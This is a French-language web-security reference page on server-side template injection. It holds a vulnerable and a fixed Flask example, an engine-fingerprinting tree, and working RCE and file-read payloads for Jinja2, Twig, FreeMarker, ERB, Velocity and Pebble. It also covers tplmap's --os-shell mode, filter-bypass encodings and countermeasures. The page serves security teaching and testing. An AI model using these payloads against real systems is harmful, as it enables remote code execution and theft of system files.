Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Web Security
March 22, 2026

SSTI — Server-Side Template Injection

Le Server-Side Template Injection (SSTI) survient quand une entrée utilisateur est directement concaténée dans un template avant son rendu, au lieu d’être passée comme variable. Il peut mener à de l’exécution de code arbitraire (RCE) sur le serveur.

Principe§

# Code VULNÉRABLE — Jinja2 (Python/Flask)
@app.route("/greet")
def greet():
    name = request.args.get("name")
    template = f"Bonjour {name} !"           # ← Concaténation directe
    return render_template_string(template)   # ← name est rendu comme du code Jinja2

# Code SÛRET — name est une variable, pas du code
@app.route("/greet")
def greet():
    name = request.args.get("name")
    return render_template_string("Bonjour {{ name }} !", name=name)

Détection basique :

# Si l'URL /greet?name={{7*7}} retourne "Bonjour 49 !"
# → Le moteur de template interprète l'expression → SSTI confirmé

Arbre de décision pour identifier le moteur§

graph TD
    test1["Tester : {{7*7}}"]
    test1 -->|"49"| jinja_twig["Jinja2 ou Twig"]
    test1 -->|"{{7*7}}"| test2["Tester : ${7*7}"]
    test1 -->|"autre"| test3["Tester : #{7*7}"]

    jinja_twig --> test_jinja["Tester : {{7*'7'}}"]
    test_jinja -->|"7777777"| jinja2["Jinja2 (Python)"]
    test_jinja -->|"49"| twig["Twig (PHP)"]

    test2 -->|"49"| freemarker["FreeMarker ou\nSmartly (Java)"]
    test2 -->|"${7*7}"| test4["Tester : <%=7*7%>"]
    test4 -->|"49"| erb["ERB (Ruby)"]
    test4 -->|autre| pebble["Pebble, Velocity..."]

    test3 -->|"49"| ruby_other["Ruby (autre)\nou Slim"]

Exploitation par moteur§

Jinja2 (Python)§

# Accéder aux classes Python via l'arbre d'objets
# Trouver une classe utile (subprocess, os...)

# Payload de base — lire /etc/passwd
{{''.__class__.__mro__[1].__subclasses__()}}
# Donne la liste de toutes les sous-classes de object

# Trouver l'index de subprocess.Popen
{{''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate()}}

# Payload plus propre avec config
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Via request dans Flask
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# RCE complet
{{''.__class__.__mro__[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}
# Automatisation avec tplmap
# pip install tplmap
python tplmap.py -u "https://site.com/greet?name=*" --os-shell

Twig (PHP)§

# Lire des fichiers
{{'/etc/passwd'|file_get_contents}}

# Exécution de commande
{{['id']|map('system')|join}}

# Via filter
{{"id"|exec}}

# RCE propre
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

FreeMarker (Java)§

# Lecture de fichier
${product.getClass().getProtectionDomain().getCodeSource().getLocation()}

# RCE via freemarker.template.utility.Execute
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# Java Runtime
${"freemarker.template.utility.Execute"?new()("id")}

ERB (Ruby)§

<%= 7*7 %>                # Test
<%= `id` %>               # RCE via backtick (exécution shell)
<%= system("id") %>       # system()
<%= File.read('/etc/passwd') %>  # Lecture fichier

Velocity (Java)§

#set($str=$class.inspect("java.lang.Runtime").type)
#set($runtime=$str.getRuntime())
#set($process=$runtime.exec("id"))
$process.waitFor()
#set($inputStream=$process.getInputStream())
#foreach($i in [1..$inputStream.available()])
$inputStream.read()
#end

Pebble (Java)§

{% for i in [1] %}
{% set cmd = "id" %}
{% endfor %}
{{ "" | execute(cmd) }}

Détection§

# Payloads de détection multi-moteurs
{{7*7}}                    # Jinja2, Twig → 49
${7*7}                     # FreeMarker, Velocity → 49
#{7*7}                     # Ruby Slim → 49
<%= 7*7 %>                 # ERB → 49
*{7*7}                     # Spring Expression Language → 49
[[${7*7}]]                 # Thymeleaf → 49

# Tester aussi dans les headers HTTP (User-Agent, Referer, X-Forwarded-For)
# et dans les cookies

# Avec ffuf
ffuf -u "https://site.com/search?q=FUZZ" \
     -w ssti_payloads.txt \
     -mr "49"  # Chercher 49 dans la réponse

# Avec tplmap
python tplmap.py -u "https://site.com/greet?name=*"
# Détecte automatiquement le moteur et tente l'exploitation

Bypass de filtres§

# Filtre bloquant les {{ et }}
# Utiliser d'autres syntaxes selon le moteur
{%- if 7*7 == 49 -%}SSTI{%- endif -%}  # Jinja2 tag
{# commentaire #}                         # Jinja2 commentaire

# Filtre bloquant les mots-clés (class, mro, subclasses)
# Utiliser l'encodage ou la concaténation
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')...}}
# \x5f = _ → __globals__

# Accès via dictionnaire
{{''['\x5f\x5fclass\x5f\x5f']}}

# Utiliser request.args pour passer des payloads en paramètre
{{request.args.x1|attr(request.args.x2)...}}
# ?name={{request.args.x}}&x=__class__

Contre-mesures§

# Ne JAMAIS interpoler des données utilisateur dans un template string
# MAUVAIS
render_template_string(f"Bonjour {user_input}")

# BIEN — passer comme variable
render_template_string("Bonjour {{ name }}", name=user_input)

# BIEN — utiliser des fichiers de templates séparés
render_template("greet.html", name=user_input)
# templates/greet.html : Bonjour {{ name }}

# Sandbox Jinja2 (si le rendu dynamique est vraiment nécessaire)
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string("Bonjour {{ name }}")
result = template.render(name=user_input)
# La sandbox bloque l'accès aux attributs privés et aux appels dangereux
—The Gardener